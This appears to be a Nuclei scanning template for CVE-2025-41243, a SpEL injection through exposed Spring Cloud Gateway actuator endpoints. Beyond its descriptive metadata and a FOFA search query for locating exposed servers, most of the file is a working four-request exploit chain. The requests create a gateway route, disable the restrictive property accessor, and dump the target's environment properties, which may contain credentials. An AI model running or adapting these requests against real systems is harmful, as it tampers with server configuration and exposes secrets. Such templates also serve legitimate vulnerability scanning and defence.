id: CVE-2025-41243

info:
  name: Spring Cloud Gateway Server Webflux - Broken Access Control
  author: Redmomn
  severity: critical
  description: |
    Spring Cloud Gateway Server Webflux contains a vulnerability caused by unsecured and exposed actuator endpoints allowing modification of Spring Environment properties, letting attackers modify configuration, exploit requires unsecured actuator endpoints exposure.
  impact: |
    Attackers can modify Spring Environment properties, potentially leading to configuration tampering and further compromise.
  remediation: |
    Secure actuator endpoints or disable gateway actuator exposure; update to latest Spring Cloud Gateway Server Webflux version.
  reference:
    - https://blog.z3r.ru/posts/spring-cloud-gateway-spel-vuln/
    - https://xz.aliyun.com/news/19006
    - https://spring.io/security/cve-2025-41243
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41243
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-41243
    epss-score: 0.06417
    epss-percentile: 0.91161
    cwe-id: CWE-94
  metadata:
    verified: true
    fofa-query: '((header="Server: Netty@SpringBoot" || (body="Whitelabel Error Page" && body="There was an unexpected error")) && body!="couchdb") || title="SpringBootAdmin-Server" || body="SpringBoot"'
  tags: cve,cve2025,spring-boot,injection

variables:
  route: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /actuator/gateway/routes/{{route}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "id": "{{route}}",
          "filters": [
            {
              "name": "AddResponseHeader",
              "args": {
                "value": "#{ @systemProperties['spring. cloud.gateway.restrictive-property-accessor.enabled'] = false}",
                "name": "cmd"
              }
            }
          ],
          "uri": "http://{{interactsh-url}}",
          "order": 0
        }

      - |
        POST /actuator/gateway/refresh HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /actuator/gateway/routes/{{route}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201 && status_code_2 == 200 && status_code_3 == 200'
          - 'len(body_1) == 0 && len(body_2) == 0'
          - 'contains_all(body_3, "AddResponseHeader", "route_id")'
        condition: and
        internal: true

  - raw:
      - |
        POST /actuator/gateway/routes/{{route}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "id": "{{route}}",
          "filters": [
            {
              "name": "AddResponseHeader",
              "args": {
                "value": "#{ @environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*' ][0].source.![{#this.getKey+'='+#this.getValue.toString}] }",
                "name": "cmd"
              }
            }
          ],
          "uri": "http://{{interactsh-url}}",
          "order": 0
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'len(body) == 0'
        condition: and
        internal: true

  - raw:
      - |
        POST /actuator/gateway/refresh HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(body) == 0'
        condition: and
        internal: true

  - raw:
      - |
        GET /actuator/gateway/routes/{{route}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "spring.cloud.gateway","RouteDefinitionRouteLocator")'
        condition: and
# digest: 4b0a00483046022100b5874ce70d9ed0adc06771c5c0e863238168e2540e2d43800948c8d1ad7cc3ea022100be1f8a7efd9a90acda174971f8eb7be17c0f1cf019f2a85b96ceb6b7fe5db05d:922c64590222798bb761d5b6d8e72950